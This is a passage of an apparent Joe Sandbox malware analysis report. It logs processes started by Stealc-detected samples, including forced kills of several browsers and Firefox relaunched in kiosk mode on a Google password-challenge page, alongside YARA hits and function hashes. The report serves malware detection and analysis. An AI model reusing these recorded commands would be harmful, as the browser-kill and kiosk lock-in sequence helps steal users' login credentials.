Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:16:25
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xd80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:16:25
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:16:26
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xd80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:16:26
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:16:26
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xd80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:16:26
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:16:26
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:16:26
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:16:26
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:16:27
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002779001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002779001\num.exe"
Imagebase:	0xe80000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2604298529.0000000000E9E000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000000.2588138718.0000000000E9E000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2611179744.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.2604161455.0000000000E81000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000000.2588009468.0000000000E81000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	23:16:28
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {70149f39-4644-4285-b4ad-18afc232e38d} 7860 "\\.\pipe\gecko-crash-server-pipe.7860" 1c164c71110 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	23:16:30
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe"
Imagebase:	0xf0000
File size:	2'085'888 bytes
MD5 hash:	E4B956C7C98758B0FEDDA4156545593D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2692045054.000000000117B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000003.2632031246.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2685024844.00000000000F1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	23:16:33
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1632 -parentBuildID 20230927232528 -prefsHandle 1484 -prefMapHandle 3904 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {33f69ba0-f69f-45b7-b28b-3edde4189f95} 7860 "\\.\pipe\gecko-crash-server-pipe.7860" 1c176eb0a10 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	23:16:39
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe"
Imagebase:	0xa30000
File size:	919'552 bytes
MD5 hash:	1D861B36E55E04FBC04FF38B5D152A08
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	23:16:40
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xd80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	23:16:40
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	23:16:48
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe"
Imagebase:	0xbe0000
File size:	2'809'344 bytes
MD5 hash:	69E939844ED586ED304E0C4D9DB0BFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	23:16:48
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xd80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	23:16:48
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002779001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002779001\num.exe"
Imagebase:	0xe80000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	23:16:48
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	23:16:49
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xd80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	23:16:49
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	23:16:49
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xd80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	23:16:49
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	23:16:49
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe"
Imagebase:	0x20000
File size:	1'873'920 bytes
MD5 hash:	6FD2A1CD87446EB0BEA541E0D7388E1C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	23:16:50
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xd80000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	23:16:50
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	23:16:50
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	23:16:50
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	23:16:51
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2188 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3e1a6159-709e-4015-91b7-c27852cbfe8d} 7920 "\\.\pipe\gecko-crash-server-pipe.7920" 1d594569d10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	23:16:53
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4516 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4476 -prefMapHandle 4520 -prefsLen 32092 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {772a86bb-9c44-49fb-b5c4-a3def5e3b247} 7920 "\\.\pipe\gecko-crash-server-pipe.7920" 1d5a7886d10 utility
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 011C33CC Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1729402235.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 011BF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_11bf000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa5298f8f972402a46254e9a0fa29bee97266c9fae8ec3529fbfee6b4e4cd761
Instruction ID: c3b10455b69f6638adcc9c78da893988a1e6f64da56f6a56b5ec44e18fa3ab01
Opcode Fuzzy Hash: aa5298f8f972402a46254e9a0fa29bee97266c9fae8ec3529fbfee6b4e4cd761
Instruction Fuzzy Hash: F05175B382A3846FCBDACF7994455C27BD1E733B2079AA49DC0804A453E272661FDB61

Analysis Process: QPHIWB3GKESEWV8SSDAQV1GC2I70.exePID: 7848, Parent PID: 7492COMMON

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	40.9%
Signature Coverage:	13.6%
Total number of Nodes:	22
Total number of Limit Nodes:	0

Executed Functions

Function 003265B9 Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C, xrefs: 00326ADA

Memory Dump Source

Source File: 00000002.00000002.1999671750.0000000000324000.00000040.00000001.01000000.00000006.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.1999410737.0000000000190000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999432818.0000000000192000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999451333.0000000000196000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999468434.000000000019A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999488036.00000000001A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999586729.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999609289.0000000000310000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999634050.0000000000320000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999653301.0000000000323000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.000000000032E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999711394.0000000000333000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999732669.0000000000338000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999752030.000000000033F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999769885.0000000000340000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999789438.0000000000341000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999809260.0000000000342000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999830366.0000000000343000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999849109.0000000000344000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999873179.000000000035C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999899789.000000000036D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999922733.000000000037B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999943569.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999963771.000000000038C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999986612.000000000038F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000009327.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000027977.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000048036.00000000003A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000068852.00000000003A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000089892.00000000003A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000111366.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000133558.00000000003B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000158129.00000000003B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000180423.00000000003B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000202707.00000000003B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000224108.00000000003B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000244657.00000000003B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000266859.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000289183.00000000003BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000308643.00000000003BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000327223.00000000003BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000348636.00000000003C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000367248.00000000003C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000388142.00000000003C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000411112.00000000003CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000452522.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000470785.0000000000424000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000489815.0000000000434000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000531221.0000000000442000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000549156.0000000000444000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_QPHIWB3GKESEWV8SSDAQV1GC2I70.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1037565863
Opcode ID: 83baf8f9348018a927cd590f4b02a701d706f2143dec1866157d766b918b97cf
Instruction ID: dd60fcfc016974b08342817503078cbafd34286108da4054fab3607d8f92a9a2
Opcode Fuzzy Hash: 83baf8f9348018a927cd590f4b02a701d706f2143dec1866157d766b918b97cf
Instruction Fuzzy Hash: 9F2137B210C2959EE302CF686A915BABBBCFE87330B30856BE441C6943D2644D0D9732

Function 0019B7C6 Relevance: 1.3, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!!iH, xrefs: 0019B936

Memory Dump Source

Source File: 00000002.00000002.1999468434.000000000019A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.1999410737.0000000000190000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999432818.0000000000192000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999451333.0000000000196000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999488036.00000000001A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999586729.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999609289.0000000000310000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999634050.0000000000320000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999653301.0000000000323000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.0000000000324000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999671750.000000000032E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999711394.0000000000333000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999732669.0000000000338000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999752030.000000000033F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999769885.0000000000340000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999789438.0000000000341000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999809260.0000000000342000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999830366.0000000000343000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999849109.0000000000344000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999873179.000000000035C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999899789.000000000036D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999922733.000000000037B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999943569.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999963771.000000000038C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1999986612.000000000038F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000009327.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000027977.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000048036.00000000003A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000068852.00000000003A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000089892.00000000003A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000111366.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000133558.00000000003B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000158129.00000000003B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000180423.00000000003B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000202707.00000000003B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000224108.00000000003B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000244657.00000000003B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000266859.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000289183.00000000003BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000308643.00000000003BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000327223.00000000003BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000348636.00000000003C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000367248.00000000003C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000388142.00000000003C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2000411112.00000000003CF000.00000040.00000001.01000000.00000006.sdmpDownload File
